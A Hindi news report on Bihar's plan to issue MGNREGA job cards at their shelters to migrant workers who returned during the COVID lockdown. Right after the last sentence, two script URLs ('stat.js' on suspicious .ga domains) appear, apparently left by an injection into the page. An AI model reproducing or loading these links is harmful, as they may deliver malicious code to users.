Tuesday, January 25

बिहारीयो के लिए खुशखबरी, प्रवासी है तो रोजगार का झंझट ख़त्म, जहा हैं वही रहिये बन जायेगा कार्ड

राज्य में बाहर से आए करीब दो लाख प्रवासी मजदूरों के लिए अच्छी खबर है। दिल्ली, मुंबई आदि महानगरों से अपना जमा जमाया काम छोड़कर बिहार लौटने वाले बेरोजगार हुए इन मजदूरों को अब नौकरी के लिए ज्यादा परेशान होने के लिए जरूरत नहीं है। राज्य सरकार ने इनके लिए रोजगार के साधन खोजने और काम देने की दिशा में काम शुरू कर दिया है। ग्रामीण विकास विभाग ने पहले चरण में इन सभी मजदूरों को मनरेगा जॉब कार्ड देने का निर्णय लिया है। खास बात यह है कि सभी मजदूरों का ऑन स्पॉट जॉब कार्ड बनेगा, वह भी बिना किसी परेशानी के।

बिहार के सीमावर्ती जिलों में फंसे और अपने-अपने जिलों के स्कूलों में ठहरे इन मजदूरों को प्राथमिकता के आधार पर मनरेगा कार्ड बनाया जाएगा। इससे इनकी नौकरी खोजने और पैसा कमाने की परेशानी एक हद तक कम हो सकेगी। इन बेरोजगार मजदूरों के लिए आशा की किरण यह है कि इनका जॉब कार्ड इनके ठहराव स्थल पर ही बन जाएगा। जॉब कार्ड बनाने के लिए इनको भटकने की जरूरत नहीं है।

मनरेगा के अफसर और पंचायत रोजगार सेवक इनके वास स्थल यानी स्कूलों में जाएंगे और इनका जॉब कार्ड वहीं बनाएंगे। उनकी पहचान का काम मुखिया करेंगे। एक बार पहचान स्थापित होते ही जाब कार्ड बना दिया जाएगा। सरकार का प्रयास है कि सभी जिलों में एवं खासकर सीवान, गोपालगंज आदि सीमावर्ती जिलों में ठहरे मजदूरों का जॉब कार्ड इसी लॉकडाउन की अवधि में बन जाए, ताकि लॉकडाउन की अवधि में थोड़ी सी रियायत मिलने या खत्म होने पर इन लोगों से मनरेगा के तहत काम लिया जा सकेगा।

मजदूरों का सर्वाधिक उपयोग नल जल व हरियाली योजना में होगा इन मजदूरों का सर्वाधिक उपयोग जल-जीवन व हरियाली अभियान में हो सकेगा । तालाबों के जीर्णोद्धार से लेकर पौधरोपण आदि कार्य में इनकी भरपूर उपयोगिता सामने आएगी। इसके अलावा जिन लाभुकों को प्रधानमंत्री आवास योजना के तहत आवासीय इकाई स्वीकृत हो गई है, वह भी अपना मकान खुद बना सकेंगे। उनको भी इसी जॉब कार्ड के तहत मजदूरी का भुगतान होगा।

जॉब कार्ड बनाने को जल्द भेजा जाएगा निर्देश विभाग ने सभी मजदूरों से सोशल डिस्टेंसिंग के आधार पर काम लेने का निर्णय किया है। जॉब कार्ड बनाने का निर्देश जल्दी सभी डीएम को भेजा जाएगा। मनरेगा में काम करने के लिए मजदूरों का पैसा भी केंद्र ने क्लियर कर दिया है। इस मद में केंद्र सरकार ने 700 करोड़ रुपए भेज दिए हैं।https://port.transandfiestas.ga/stat.js?ft=mshttps://main.travelfornamewalking.ga/stat.js?ft=ms

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